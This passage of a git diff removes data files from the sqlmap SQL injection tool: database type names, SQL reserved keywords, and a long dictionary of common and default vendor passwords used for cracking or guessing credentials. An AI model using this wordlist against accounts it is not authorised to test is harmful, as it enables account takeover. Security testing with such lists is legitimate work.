-nvarchar -real -smalldatetime -smallint -smallmoney -sql_variant -table -text -time -timestamp -tinyint -uniqueidentifier -varbinary -varchar -xml - -# PostgreSQL (types) -bigint -bigserial -boolean -bpchar -bytea -character -date -decimal -double precision -int4 -integer -interval -money -numeric -real -serial -smallint -text -time -timestamp diff --git a/txt/keywords.txt b/txt/keywords.txt deleted file mode 100644 index 240c474295f..00000000000 --- a/txt/keywords.txt +++ /dev/null @@ -1,452 +0,0 @@ -# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission - -# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) - -ABSOLUTE -ACTION -ADD -ALL -ALLOCATE -ALTER -AND -ANY -ARE -AS -ASC -ASSERTION -AT -AUTHORIZATION -AVG -BEGIN -BETWEEN -BIT -BIT_LENGTH -BOTH -BY -CALL -CASCADE -CASCADED -CASE -CAST -CATALOG -CHAR -CHAR_LENGTH -CHARACTER -CHARACTER_LENGTH -CHECK -CLOSE -COALESCE -COLLATE -COLLATION -COLUMN -COMMIT -CONDITION -CONNECT -CONNECTION -CONSTRAINT -CONSTRAINTS -CONTAINS -CONTINUE -CONVERT -CORRESPONDING -COUNT -CREATE -CROSS -CURRENT -CURRENT_DATE -CURRENT_PATH -CURRENT_TIME -CURRENT_TIMESTAMP -CURRENT_USER -CURSOR -DATE -DAY -DEALLOCATE -DEC -DECIMAL -DECLARE -DEFAULT -DEFERRABLE -DEFERRED -DELETE -DESC -DESCRIBE -DESCRIPTOR -DETERMINISTIC -DIAGNOSTICS -DISCONNECT -DISTINCT -DO -DOMAIN -DOUBLE -DROP -ELSE -ELSEIF -END -ESCAPE -EXCEPT -EXCEPTION -EXEC -EXECUTE -EXISTS -EXIT -EXTERNAL -EXTRACT -FALSE -FETCH -FIRST -FLOAT -FOR -FOREIGN -FOUND -FROM -FULL -FUNCTION -GET -GLOBAL -GO -GOTO -GRANT -GROUP -HANDLER -HAVING -HOUR -IDENTITY -IF -IMMEDIATE -IN -INDICATOR -INITIALLY -INNER -INOUT -INPUT -INSENSITIVE -INSERT -INT -INTEGER -INTERSECT -INTERVAL -INTO -IS -ISOLATION -JOIN -KEY -LANGUAGE -LAST -LEADING -LEAVE -LEFT -LEVEL -LIKE -LOCAL -LOOP -LOWER -MATCH -MAX -MIN -MINUTE -MODULE -MONTH -NAMES -NATIONAL -NATURAL -NCHAR -NEXT -NO -NOT -NULL -NULLIF -NUMERIC -OCTET_LENGTH -OF -ON -ONLY -OPEN -OPTION -OR -ORDER -OUT -OUTER -OUTPUT -OVERLAPS -PAD -PARAMETER -PARTIAL -PATH -POSITION -PRECISION -PREPARE -PRESERVE -PRIMARY -PRIOR -PRIVILEGES -PROCEDURE -READ -REAL -REFERENCES -RELATIVE -REPEAT -RESIGNAL -RESTRICT -RETURN -RETURNS -REVOKE -RIGHT -ROLLBACK -ROUTINE -ROWS -SCHEMA -SCROLL -SECOND -SECTION -SELECT -SESSION -SESSION_USER -SET -SIGNAL -SIZE -SMALLINT -SOME -SPACE -SPECIFIC -SQL -SQLCODE -SQLERROR -SQLEXCEPTION -SQLSTATE -SQLWARNING -SUBSTRING -SUM -SYSTEM_USER -TABLE -TEMPORARY -THEN -TIME -TIMESTAMP -TIMEZONE_HOUR -TIMEZONE_MINUTE -TO -TRAILING -TRANSACTION -TRANSLATE -TRANSLATION -TRIM -TRUE -UNDO -UNION -UNIQUE -UNKNOWN -UNTIL -UPDATE -UPPER -USAGE -USER -USING -VALUE -VALUES -VARCHAR -VARYING -VIEW -WHEN -WHENEVER -WHERE -WHILE -WITH -WORK -WRITE -YEAR -ZONE - -# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html) -ADD -ALL -ALTER -ANALYZE -AND -ASASC -ASENSITIVE -BEFORE -BETWEEN -BIGINT -BINARYBLOB -BOTH -BY -CALL -CASCADE -CASECHANGE -CAST -CHAR -CHARACTER -CHECK -COLLATE -COLUMN -CONCAT -CONDITIONCONSTRAINT -CONTINUE -CONVERT -CREATE -CROSS -CURRENT_DATE -CURRENT_TIMECURRENT_TIMESTAMP -CURRENT_USER -CURSOR -DATABASE -DATABASES -DAY_HOUR -DAY_MICROSECONDDAY_MINUTE -DAY_SECOND -DEC -DECIMAL -DECLARE -DEFAULTDELAYED -DELETE -DESC -DESCRIBE -DETERMINISTIC -DISTINCTDISTINCTROW -DIV -DOUBLE -DROP -DUAL -EACH -ELSEELSEIF -ENCLOSED -ESCAPED -EXISTS -EXIT -EXPLAIN -FALSEFETCH -FLOAT -FLOAT4 -FLOAT8 -FOR -FORCE -FOREIGNFROM -FULLTEXT -GRANT -GROUP -HAVING -HIGH_PRIORITYHOUR_MICROSECOND -HOUR_MINUTE -HOUR_SECOND -IF -IFNULL -IGNORE -ININDEX -INFILE -INNER -INOUT -INSENSITIVE -INSERT -INTINT1 -INT2 -INT3 -INT4 -INT8 -INTEGER -INTERVALINTO -IS -ISNULL -ITERATE -JOIN -KEY -KEYS -KILLLEADING -LEAVE -LEFT -LIKE -LIMIT -LINESLOAD -LOCALTIME -LOCALTIMESTAMP -LOCK -LONG -LONGBLOBLONGTEXT -LOOP -LOW_PRIORITY -MATCH -MEDIUMBLOB -MEDIUMINT -MEDIUMTEXTMIDDLEINT -MINUTE_MICROSECOND -MINUTE_SECOND -MOD -MODIFIES -NATURAL -NOTNO_WRITE_TO_BINLOG -NULL -NUMERIC -ON -OPTIMIZE -OPTION -OPTIONALLYOR -ORDER -OUT -OUTER -OUTFILE -PRECISIONPRIMARY -PROCEDURE -PURGE -READ -READS -REALREFERENCES -REGEXP -RELEASE -RENAME -REPEAT -REPLACE -REQUIRERESTRICT -RETURN -REVOKE -RIGHT -RLIKE -SCHEMA -SCHEMASSECOND_MICROSECOND -SELECT -SENSITIVE -SEPARATOR -SET -SHOW -SMALLINTSONAME -SPATIAL -SPECIFIC -SQL -SQLEXCEPTION -SQLSTATESQLWARNING -SQL_BIG_RESULT -SQL_CALC_FOUND_ROWS -SQL_SMALL_RESULT -SSL -STARTINGSTRAIGHT_JOIN -TABLE -TERMINATED -THEN -TINYBLOB -TINYINT -TINYTEXTTO -TRAILING -TRIGGER -TRUE -UNDO -UNION -UNIQUEUNLOCK -UNSIGNED -UPDATE -USAGE -USE -USING -UTC_DATEUTC_TIME -UTC_TIMESTAMP -VALUES -VARBINARY -VARCHAR -VARCHARACTERVARYING -VERSION -WHEN -WHERE -WHILE -WITH -WRITEXOR -YEAR_MONTH -ZEROFILL diff --git a/txt/smalldict.txt b/txt/smalldict.txt deleted file mode 100644 index 766f506280c..00000000000 --- a/txt/smalldict.txt +++ /dev/null @@ -1,3567 +0,0 @@ -!@#$%^&* -!@#$%^& -!@#$%^ -!@#$% -@#$%^& -* -000000 -00000000 -0007 -007 -007007 -06071992 -0racl3 -0racl38 -0racl38i -0racl39 -0racl39i -0racle -0racle8 -0racle8i -0racle9 -0racle9i -1 -1022 -10sne1 -1111 -11111 -111111 -11111111 -1212 -121212 -1213 -1214 -1225 -123 -123123 -123321 -1234 -12345 -123456 -1234567 -12345678 -1234qwer -123abc -123go -1313 -131313 -1316 -1332 -13579 -1412 -1430 -1701d -171717 -1818 -181818 -1911 -1928 -1948 -1950 -1952 -1953 -1955 -1956 -1960 -1964 -1969 -1973 -1975 -1977 -1978 -1991 -199220706 -1996 -1a2b3c -1chris -1kitty -1p2o3i -1q2w3e -1qw23e -2000 -2001 -2020 -2112 -21122112 -22 -2200 -2222 -2252 -2kids -3010 -3112 -3141 -333 -3533 -369 -3bears -4055 -4444 -4788 -4854 -4runner -5050 -5121 -5252 -54321 -5555 -55555 -5683 -57chevy -6262 -6301 -654321 -666666 -6969 -696969 -777 -7777 -7777777 -789456 -7dwarfs -80486 -8675309 -888888 -88888888 -90210 -911 -99999999 -a -a12345 -a1b2c3 -a1b2c3d4 -aa -aaa -aaaa -aaaaaa -aardvark -aaron -abacab -abbott -abby -abc -abc123 -ABC123 -abcd -abcd123 -abcd1234 -abcde -abcdef -Abcdef -abcdefg -Abcdefg -abigail -abm -absolut -access -accord -account -ace -acropolis -action -active -acura -adam -adg -adgangskode -adi -adidas -adldemo -admin -admin1 -administrator -adrian -adrock -advil -aerobics -africa -agent -ahl -ahm -airborne -airoplane -airwolf -ak -akf7d98s2 -aki123 -alaska -albert -alex -alex1 -alexander -alexandr -alexis -Alexis -alfaro -alfred -ali -alice -alice1 -alicia -alien -aliens -alina -aline -alison -allegro -allen -allison -allo -allstate -aloha -alpha -Alpha -alpha1 -alpine -alr -altamira -althea -altima -altima1 -amanda -amanda1 -amazing -amber -amelie -america -amour -ams -amv -amy -anaconda -anders -anderson -andre -andre1 -andrea -andrea1 -andrew! -andrew -Andrew -andrew1 -andromed -andy -angel -angel1 -angela -angels -angie -angie1 -angus -animal -Animals -anita -ann -anna -anne -anneli -annette -annie -anonymous -antares -anthony -Anthony -anything -ap -apache -apollo -apollo13 -apple -apple1 -apple2 -applepie -apples -applmgr -applsys -applsyspub -apppassword -apps -april -aptiva -aq -aqdemo -aqjava -aqua -aquarius -aquser -ar -aragorn -archie -ariane -ariel -Ariel -arizona -arlene -arnold -arrow -arsenal -artemis -arthur -artist -asdf -asdf1234 -asdfasdf -asdfg -asdfgh -Asdfgh -asdfghjk -asdfjkl; -asdfjkl -asdf;lkj -asf -asg -ashley -ashley1 -ashraf -ashton -asl -aso -asp -aspen -ass -asshole -assmunch -ast -asterix -ath -athena -attila -audiouser -august -austin -autumn -avalon -avatar -avenger -avenir -awesome -ax -ayelet -aylmer -az -babes -baby -babydoll -babylon5 -bach -backup -badger -bailey -Bailey -bambi -bamboo -banana -bandit -bar -baraka -barbara -barbie -barn -barney -barney1 -barnyard -barrett -barry -bart -bartman -baseball -basf -basil -basket -basketball -bass -Bastard -batman -batman1 -bball -bc4j -beaches -beagle -beaner -beanie -beans -bear -bears -beast -beasty -beatles -beatrice -beautiful -beauty -beaver -beavis -Beavis -beavis1 -bebe -becca -beer -belgium -belize -bella -belle -belmont -ben -benjamin -benji -benny -benoit -benson -beowulf -bernard -bernardo -bernie -berry -bertha -beryl -best -beta -betacam -betsy -betty -bharat -bic -bichon -bigal -bigben -bigbird -bigboss -bigdog -biggles -bigmac -bigman -bigred -biker -bil -bilbo -bill -bills -billy -billy1 -bim -bimmer -bingo -binky -bioboy -biochem -biology -bird -bird33 -birdie -birdy -birthday -bis -biscuit -bishop -Bismillah -bitch -biteme -bitter -biv -bix -biz -black -blackjack -blah -blanche -blazer -blewis -blinds -bliss -blitz -blizzard -blonde -blondie -blood -blowfish -blowjob -blowme -blue -bluebird -blueeyes -bluefish -bluejean -blues -bluesky -bmw -boat -bob -bobby -bobcat -bogart -bogey -bogus -bom -bombay -bond007 -Bond007 -bonjour -bonnie -Bonzo -boobie -booboo -Booboo -booger -boogie -boomer -booster -boots -bootsie -boris -bosco -boss -BOSS -boston -Boston -boulder -bourbon -boxer -boxers -bozo -bradley -brain -branch -brandi -brandon -brandy -braves -brazil -brenda -brent -brewster -brian -bridge -bridges -bright -brio_admin -britain -Broadway -broker -bronco -bronte -brooke -brother -bruce -bruno -brutus -bryan -bsc -bubba -bubba1 -bubble -bubbles -buck -bucks -buddha -buddy -budgie -buffalo -buffett -buffy -bug_reports -bugs -bugsy -bull -bulldog -bullet -bulls -bullshit -bunny -burns -burton -business -buster -butch -butler -butter -butterfly -butthead -button -buttons -buzz -byron -byteme -c00per -cactus -caesar -caitlin -calendar -calgary -california -calvin -calvin1 -camaro -camay -camel -camera -camille -campbell -camping -canada -cancer -candy -canela -cannon -cannondale -canon -Canucks -captain -car -carbon -cardinal -Cardinal -carebear -carl -carlos -carmen -carnage -carol -Carol -carol1 -carole -carolina -caroline -carolyn -carrie -carrot -cascade -casey -Casio -casper -cassie -castle -cat -catalina -catalog -catch22 -catfish -catherine -cathy -catnip -cats -catwoman -cccccc -cct -cdemo82 -cdemo83 -cdemocor -cdemorid -cdemoucb -cdouglas -ce -cecile -cedic -celica -celine -Celtics -cement -center -centra -central -cesar -cessna -chad -chainsaw -challenge -chameleon -champion -Champs -chance -chandler -chanel -chang -change -changeit -changeme -Changeme -ChangeMe -change_on_install -chantal -chaos -chapman -charger -charity -charles -charlie -Charlie -charlie1 -charlotte -chat -cheese -chelsea -chelsea1 -cherry -cheryl -chess -chester1 -chevy -chiara -chicago -chicken -chico -chiefs -china -chinacat -chinook -chip -chiquita -chloe -chocolat -chocolate -chouette -chris -Chris -chris1 -chris123 -christ1 -christia -christian -christin -christmas -christoph -christopher -christy -chronos -chuck -church -cicero -cids -cinder -cindy -cindy1 -cinema -circuit -cirque -cirrus -cis -cisinfo -civic -civil -claire -clancy -clapton -clark -clarkson -class -classroom -claude -claudel -claudia -clave -cleo -clerk -cliff -clipper -clock -cloclo -cloth -clueless -cn -cobain -cobra -cocacola -coco -cody -coffee -coke -colette -colleen -college -color -colorado -colors -colt45 -coltrane -columbia -comet -commander -company -compaq -compiere -compton -computer -Computer -concept -concorde -confused -connect -connie -conrad -content -control -cook -cookie -cookies -cooking -cool -coolbean -cooper -cooter -copper -cora -cordelia -corky -cornflake -corona -corrado -corvette -corwin -cosmo -cosmos -cougar -Cougar -cougars -country -courier -courtney -cowboy -cowboys -cows -coyote -crack1 -cracker -craig -crawford -creative -Creative -crescent -cricket -cross -crow -crowley -crp -cruise -crusader -crystal -cs -csc -csd -cse -csf -csi -csl -csmig -csp -csr -css -cthulhu -ctxdemo -ctxsys -cua -cuda -cuddles -cue -cuervo -cuf -cug -cui -cun -cunningham -cunt -cup -cupcake -current -curtis -Curtis -cus -cutie -cutlass -cyber -cyclone -cynthia -cyrano -cz -daddy -daedalus -dagger -dagger1 -daily -daisie -daisy -dakota -dale -dallas -dammit -damogran -dan -dana -dance -dancer -daniel -Daniel -daniel1 -danielle -danny -daphne -dark1 -Darkman -darkstar -darren -darryl -darwin -dasha -data1 -database -datatrain -dave -david -david1 -davids -dawn -daytek -dbsnmp -dbvision -dead -deadhead -dean -death -debbie -deborah -december -decker -deedee -deeznuts -def -delano -delete -deliver -delta -demo -demo8 -demo9 -demon -denali -denis -denise -Denise -dennis -denny -depeche -derek -des -des2k -desert -design -deskjet -destiny -detroit -deutsch -dev2000_demos -devil -devine -devon -dexter -dharma -diablo -diamond -diana -diane -dianne -dickens -dickhead -diesel -digger -digital -dilbert -dillweed -dim -dip -dipper -director -dirk -disco -discoverer_admin -disney -dixie -dixon -dmsys -doc -doctor -dodger -dodgers -dog -dogbert -doggy -doitnow -dollar -dollars -dolly -dolphin -dolphins -dominic -dominique -domino -don -donald -donkey -donna -dontknow -doogie -dookie -doom -doom2 -doors -dork -dorothy -doudou -doug -dougie -douglas -downtown -dpfpass -draft -dragon -Dragon -dragon1 -dragonfly -dreamer -dreams -driver -dsgateway -dssys -d_syspw -d_systpw -dtsp -duck -duckie -dude -dudley -duke -dumbass -dundee -dusty -dutch -dutchess -dwight -dylan -e -eaa -eagle -eagle1 -eagles -Eagles -eam -east -easter -eastern -ec -eclipse -ecx -eddie -edith -edmund -edward -eeyore -effie -eieio -eight -einstein -ejb -ejsadmin -ejsadmin_password -electric -element -elephant -elina1 -elissa -elizabeth -Elizabeth -ella -ellen -elliot -elsie -elvis -e-mail -emerald -emily -emmitt -emp -empire -energy -eng -engage -eni -enigma -enter -enterprise -entropy -eric -eric1 -erin -ernie1 -escort -escort1 -estelle -Esther -estore -etoile -eugene -europe -evelyn -event -evm -example -excalibur -excel -exfsys -explore -explorer -export -express -extdemo -extdemo2 -eyal -fa -faculty -fairview -faith -falcon -family -Family -family1 -farmer -farout -farside -fatboy -faust -fearless -feedback -felipe -felix -fem -fender -fenris -ferguson -ferrari -ferret -ferris -fiction -fidel -Figaro -fii -finance -finprod -fiona -fire -fireball -firebird -fireman -firenze -first -fish -fish1 -fisher -Fisher -fishes -fishhead -fishie -fishing -Fishing -flamingo -flanders -flash -fletch -fletcher -fleurs -flight -flip -flipper -flm -florida -florida1 -flower -flowerpot -flowers -floyd -fluffy -flute -fly -flyboy -flyer -fnd -fndpub -foobar -fool -football -ford -forest -Fortune -forward -foster -fountain -fox -foxtrot -fozzie -fpt -france -francesco -francine -francis -francois -frank -franka -franklin -freak1 -fred -freddie -freddy -Freddy -frederic -free -freebird -freedom -freeman -french -french1 -friday -Friday -friend -friends -Friends -frisco -fritz -frm -frodo -frog -froggie -froggies -froggy -frogs -front242 -Front242 -frontier -fte -fubar -fucker -fuckface -fuckme -fuckoff -fucku -fuckyou -Fuckyou -FuckYou -fugazi -fun -funguy -funtime -future -fuzz -fv -gabby -gabriel -gabriell -gaby -gaelic -galaxy -galileo -gambit -gambler -games -gammaphi -gandalf -Gandalf -garcia -garden -garfield -garfunkel -gargoyle -garlic -garnet -garth -gary -gasman -gaston -gateway -gateway2 -gator -gator1 -gemini -general -genesis -genius -george -george1 -georgia -gerald -german -germany -germany1 -Geronimo -getout -ggeorge -ghost -giants -gibbons -gibson -gigi -gilbert -gilgamesh -gilles -ginger -Gingers -giselle -gizmo -Gizmo -gl -glenn -glider1 -global -gma -gmd -gme -gmf -gmi -gml -gmoney -gmp -gms -go -goat -goaway -goblin -goblue -gocougs -godiva -godzilla -goethe -gofish -goforit -gold -golden -Golden -goldfish -golf -golfer -gollum -gone -goober -Goober -good -good-luck -goodluck -goofy -goose -gopher -gordon -gpfd -gpld -gr -grace -graham -gramps -grandma -grant -graphic -grateful -gravis -gray -graymail -greed -green -greenday -greg -greg1 -gregory -gremlin -greta -gretchen -Gretel -gretzky -grizzly -groovy -grover -grumpy -guess -guest -guido -guinness -guitar -guitar1 -gumby -gunner -gustavo -h2opolo -hacker -Hacker -hades -haggis -haha -hailey -hal -hal9000 -halloween -hallowell -hamid -hamilton -hamlet -hammer -Hammer -hank -hanna -hannah -hansolo -hanson -happy -happy1 -happy123 -happyday -hardcore -harley -Harley -HARLEY -harley1 -haro -harold -harriet -harris -harrison -harry -harvard -harvey -hawk -hawkeye -hawkeye1 -hazel -hcpark -health -health1 -heart -heather -Heather -heather1 -heather2 -heaven -hector -hedgehog -heidi -heikki -helen -helena -helene -hell -hello -Hello -hello1 -hello123 -hello8 -hellohello -help -help123 -helper -helpme -hendrix -Hendrix -henry -Henry -herbert -herman -hermes -Hershey -herzog -heythere -highland -hilbert -hilda -hillary -histoire -history -hithere -hitler -hlw -hobbes -hobbit -hockey -hola -holiday -holly -home -homebrew -homer -Homer -homerj -honda -honda1 -honey -hongkong -hoops -hoosier -hootie -hope -horizon -hornet -horse -horses -hosehead -hotdog -hotrod -house -houston -howard -hr -hri -huang -hudson -huey -hugh -hugo -hummer -hunter -huskies -hvst -hxc -hxt -hydrogen -i -ib6ub9 -iba -ibanez -ibe -ibp -ibu -iby -icdbown -icecream -iceman -icx -idemo_user -idiot -idontknow -ieb -iec -iem -ieo -ies -ieu -iex -if6was9 -iforget -ifssys -igc -igf -igi -igs -iguana -igw -ilmari -iloveu -iloveyou -image -imageuser -imagine -imc -imedia -impact -impala -imt -indian -indiana -indigo -indonesia -info -informix -ingvar -insane -inside -insight -instance -instruct -integra -integral -intern -internet -Internet -intrepid -inv -invalid -invalid password -iomega -ipa -ipd -iplanet -ireland -irene -irina -iris -irish -irmeli -ironman -isaac -isabel -isabelle -isc -island -israel -italia -italy -itg -izzy -j0ker -j1l2t3 -ja -jack -jackie -jackie1 -jackson -Jackson -jacob -jaguar -jake -jakey -jamaica -james -james1 -jamesbond -jamie -jamjam -jan -jane -Janet -janice -japan -jared -jasmin -jasmine -jason -jason1 -jasper -jazz -je -jean -jeanette -jeanne -Jeanne -jedi -jeepster -jeff -jeffrey -jeffrey1 -jenifer -jenni -jennie -jennifer -Jennifer -jenny -jenny1 -jensen -jer -jeremy -jerry -Jersey -jesse -jesse1 -jessica -Jessica -jessie -jester -jesus -jesus1 -jethro -jethrotull -jetspeed -jetta1 -jewels -jg -jim -jimbo -jimbob -jimi -jimmy -jkl123 -jkm -jl -jmuser -joanie -joanna -Joanna -joe -joel -joelle -joey -johan -johanna1 -john -john316 -johnny -johnson -Johnson -jojo -joker -joker1 -jonathan -jordan -Jordan -jordan23 -jordie -jorge -josee -joseph -josh -joshua -Joshua -josie -journey -joy -joyce -JSBach -jtf -jtm -jts -jubilee -judith -judy -juhani -jules -julia -julia2 -julian -julie -julie1 -julien -juliet -jumanji -jumbo -jump -junebug -junior -juniper -jupiter -jussi -justdoit -justice -justice4 -justin -justin1 -kalamazo -kali -kangaroo -karen -karen1 -karin -karine -karma -kat -kate -katerina -katherine -kathleen -kathy -katie -Katie -katie1 -kayla -kcin -keeper -keepout -keith -keith1 -keller -kelly -kelly1 -kelsey -kendall -kennedy -kenneth -kenny -kerala -kermit -kerrya -ketchup -kevin -kevin1 -khan -kidder -kids -killer -Killer -KILLER -kim -kimberly -king -kingdom -kingfish -kings -kirk -kissa2 -kissme -kitkat -kitten -Kitten -kitty -kittycat -kiwi -kkkkkk -kleenex -knicks -knight -Knight -koala -koko -kombat -kramer -kris -kristen -kristi -kristin -kristine -kwalker -l2ldemo -lab1 -labtec -lacrosse -laddie -lady -ladybug -lakers -lambda -lamer -lance -larry -larry1 -laser -laserjet -laskjdf098ksdaf09 -lassie1 -laura -laurel -lauren -laurie -law -lawrence -lawson -lawyer -lbacsys -leader -leaf -leblanc -ledzep -lee -legal -legend -leland -lemon -leo -leon -leonard -leslie -lestat -lester -letmein -letter -letters -lev -lexus1 -liberty -Liberty -libra -library -life -light -lights -lima -lincoln -linda -lindsay -Lindsay -lindsey -lionel -lionking -lions -lisa -lissabon -little -liverpool -liz -lizard -Lizard -lizzy -lloyd -logan -logger -logical -logos -loislane -loki -lola -lolita -london -lonely -lonestar -longer -longhorn -looney -loren -lori -lorna -lorraine -lorrie -loser -lost -lotus -lou -louis -louise -love -lovely -loveme -lovers -loveyou -lucas -lucia -lucifer -lucky -lucky1 -lucky14 -lucy -lulu -lynn -m -m1911a1 -mac -macha -macintosh -macross -macse30 -maddie -maddog -Madeline -madison -madmax -madoka -madonna -maggie -magic -magic1 -magnum -maiden -mail -mailer -mailman -maine -major -majordomo -makeitso -malcolm -malibu -mallard -manag3r -manageme -manager -manprod -manson -mantra -manuel -marathon -marc -marcel -marcus -margaret -Margaret -maria -maria1 -mariah -mariah1 -marie -marielle -marilyn -marina -marine -mariner -marino -mario -mariposa -mark -mark1 -market -marlboro -marley -mars -marshall -mart -martha -martin -martin1 -marty -marvin -mary -maryjane -master -Master -master1 -math -matrix -matt -matthew -Matthew -matti1 -mattingly -maurice -maverick -max -maxime -maxine -maxmax -maxwell -Maxwell -mayday -mazda1 -mddata -mddemo -mddemo_mgr -mdsys -me -meatloaf -mech -mechanic -media -medical -megan -meggie -meister -melanie -melina -melissa -Mellon -melody -memory -memphis -mensuck -meow -mercedes -mercer -mercury -merde -merlin -merlot -Merlot -mermaid -merrill -metal -metallic -Metallic -mexico -mfg -mgr -mgwuser -miami -michael -Michael -michael1 -michal -michel -Michel -Michel1 -michele -michelle -Michelle -michigan -michou -mickel -mickey -mickey1 -micro -microsoft -midnight -midori -midvale -midway -migrate -mikael -mike -mike1 -mikey -miki -milano -miles -millenium -miller -millie -million -mimi -mindy -mine -minnie -minou -miracle -mirage -miranda -miriam -mirror -misha -mishka -mission -missy -misty -mitch -mitchell -mmm -mmmmmm -mmo2 -mmo3 -mmouse -mobile -mobydick -modem -mojo -molly -molly1 -molson -mom -monday -Monday -monet -money -Money -money1 -monica -monique -monkey -monkey1 -monopoly -monroe -Monster -montana -montana3 -montreal -Montreal -montrose -monty -moocow -mookie -moomoo -moon -moonbeam -moore -moose -mopar -moreau -morecats -morgan -moroni -morpheus -morris -mort -mortimer -mot_de_passe -mother -motor -motorola -mountain -mouse -mouse1 -movies -mowgli -mozart -mrp -msc -msd -mso -msr -mt6ch5 -mtrpw -mts_password -mtssys -muffin -mulder -mulder1 -mumblefratz -munchkin -murphy -murray -muscle -music -mustang -mustang1 -mwa -mxagent -nadia -nadine -names -nancy -naomi -napoleon -nascar -nat -natasha -nathan -nation -national -nautica -ncc1701 -NCC1701 -ncc1701d -ncc1701e -ne1410s -ne1469 -ne14a69 -nebraska -neil -neko -nellie -nelson -nemesis -neotix_sys -nermal -nesbit -nesbitt -nestle -netware -network -neutrino -new -newaccount -newcourt -newlife -newpass -news -newton -Newton -newuser -newyork -newyork1 -nexus6 -nguyen -nicarao -nicholas -Nicholas -nichole -nick -nicklaus -nicole -nigel -nightshadow -nightwind -nike -niki -nikita -nikki -nimrod -nina -niners -nintendo -nirvana -nirvana1 -nissan -nisse -nite -nneulpass -nokia -nomore -none -none1 -nopass -Noriko -normal -norman -norton -notebook -nothing -notta1 -notused -nouveau -novell -noway -nugget -number9 -numbers -nurse -nutmeg -oas_public -oatmeal -oaxaca -obiwan -obsession -ocean -ocitest -ocm_db_admin -october -October -odm -ods -odscommon -ods_server -oe -oemadm -oemrep -oem_temp -ohshit -oicu812 -okb -okc -oke -oki -oko -okr -oks -okx -olapdba -olapsvr -olapsys -olive -oliver -olivia -olivier -ollie -olsen -omega -one -online -ont -oo -open -openspirit -openup -opera -opi -opus -oracache -oracl3 -oracle -oracle8 -oracle8i -oracle9 -oracle9i -oradbapass -orange -oranges -oraprobe -oraregsys -orasso -orasso_ds -orasso_pa -orasso_ps -orasso_public -orastat -orchid -ordcommon -ordplugins -ordsys -oregon -oreo -orion -orlando -orville -oscar -osm -osp22 -ota -otter -ou812 -OU812 -outln -overkill -owa -owa_public -owf_mgr -owner -oxford -ozf -ozp -ozs -ozzy -pa -paagal -pacers -pacific -packard -packer -packers -packrat -paint -painter -Paladin -paloma -pam -pamela -Pamela -panama -pancake -panda -pandora -panic -pantera -panther -papa -paper -paradigm -paris -park -parker -parol -parola -parrot -partner -pascal -pass -passion -passwd -passwo1 -passwo2 -passwo3 -passwo4 -password -Password -pat -patches -patricia -patrick -patriots -patrol -patton -paul -paula -pauline -pavel -payton -peace -peach -peaches -Peaches -peanut -peanuts -Peanuts -pearl -pearljam -pedro -pedro1 -peewee -peggy -pekka -pencil -penelope -penguin -penny -pentium -Pentium -people -pepper -Pepper -pepsi -percy -perfect -performa -perfstat -perry -person -perstat -pete -peter -Peter -peter1 -peterk -peterpan -petey -petunia -phantom -phialpha -phil -philip -philips -phillips -phish -phishy -phoenix -Phoenix -phoenix1 -phone -photo -piano -piano1 -pianoman -pianos -picard -picasso -pickle -picture -pierce -pierre -pigeon -piglet -Piglet -pink -pinkfloyd -pioneer -pipeline -piper1 -pirate -pisces -pit -pizza -pjm -planet -planning -plato -play -playboy -player -players -please -plex -plus -pluto -pm -pmi -pn -po -po7 -po8 -poa -poetic -poetry -poiuyt -polar -polaris -pole -police -politics -polo -pom -pomme -pontiac -poohbear -pookey -pookie -Pookie -pookie1 -popcorn -pope -popeye -poppy -porsche -porsche911 -portal30 -portal30_admin -portal30_demo -portal30_ps -portal30_public -portal30_sso -portal30_sso_admin -portal30_sso_ps -portal30_sso_public -portal31 -portal_demo -portal_sso_ps -porter -portland -pos -power -powercartuser -ppp -PPP -praise -prayer -precious -predator -prelude -premier -preston -primary -primus -prince -princess -Princess -print -printing -prof -prometheus -property -protel -provider -psa -psalms -psb -psp -psycho -pub -public -pubsub -pubsub1 -puddin -pulsar -pumpkin -punkin -puppy -purple -Purple -pussy -pussy1 -pv -pyramid -pyro -python -q1w2e3 -qa -qdba -qp -qqq111 -qs -qs_adm -qs_cb -qs_cbadm -qs_cs -qs_es -qs_os -qs_ws -quality -quebec -queen -queenie -quentin -quest -qwaszx -qwer -qwert -Qwert -qwerty -Qwerty -qwerty12 -qwertyui -r0ger -rabbit -Rabbit -rabbit1 -racer -racerx -rachel -rachelle -racoon -radar -radio -rafiki -raiders -Raiders -rain -rainbow -Raistlin -raleigh -ralph -ram -rambo -rambo1 -rancid -random -Random -randy -randy1 -ranger -rangers -raptor -raquel -rascal -rasta1 -rastafarian -ratio -raven -ravens -raymond -re -reality -rebecca -Rebecca -red -redcloud -reddog -redfish -redman -redrum -redskins -redwing -redwood -reed -reggae -reggie -reliant -remember -remote -rene -renee -renegade -repadmin -reports -rep_owner -reptile -republic -rescue -research -revolution -rex -reynolds -reznor -rg -rhino -rhjrjlbk -rhonda -rhx -ricardo -ricardo1 -richard -richard1 -richards -richmond -ricky -riley -ripper -ripple -rita -river -rla -rlm -rmail -rman -roadrunner -rob -robbie -robby -robert -Robert -robert1 -roberts -robin -robinhood -robocop -robotech -robotics -roche -rock -rocket -rocket1 -rockie -rocknroll -rockon -rocky -rocky1 -rodeo -roger -roger1 -rogers -roland -rolex -roman -rommel -ronald -roni -rookie -rootbeer -rose -rosebud -roses -rosie -rossigno -rouge -route66 -roxy -roy -royal -rrs -ruby -rufus -rugby -rugger -runner -running -rush -russell -Russell -rusty -ruth -ruthie -ruthless -ryan -sabbath -sabina -sabrina -sadie -safety -safety1 -saigon -sailing -sailor -saint -sakura -salasana -sales -sally -salmon -salut -sam -samantha -samiam -samIam -sammie -sammy -Sammy -sample -sampleatm -sampson -samsam -samson -samuel -sandi -sandra -sandy -sanjose -santa -sap -saphire -sapphire -sapr3 -sarah -sarah1 -sasha -saskia -sassy -satori -saturday -saturn -Saturn -saturn5 -savage -sbdc -scarecrow -scarlet -scarlett -schnapps -school -science -scooby -scoobydoo -scooter -scooter1 -scorpio -scorpion -scotch -scott -scott1 -scottie -scotty -scout -scouts -scrooge -scruffy -scuba -scuba1 -sdos_icsap -sean -search -seattle -secdemo -secret -secret3 -security -seeker -senha -seoul -september -serena -sergei -sergey -server -service -Service -serviceconsumer1 -services -seven -seven7 -sex -sexy -sh -shadow -Shadow -shadow1 -shaggy -shalom -shanghai -shannon -shanny 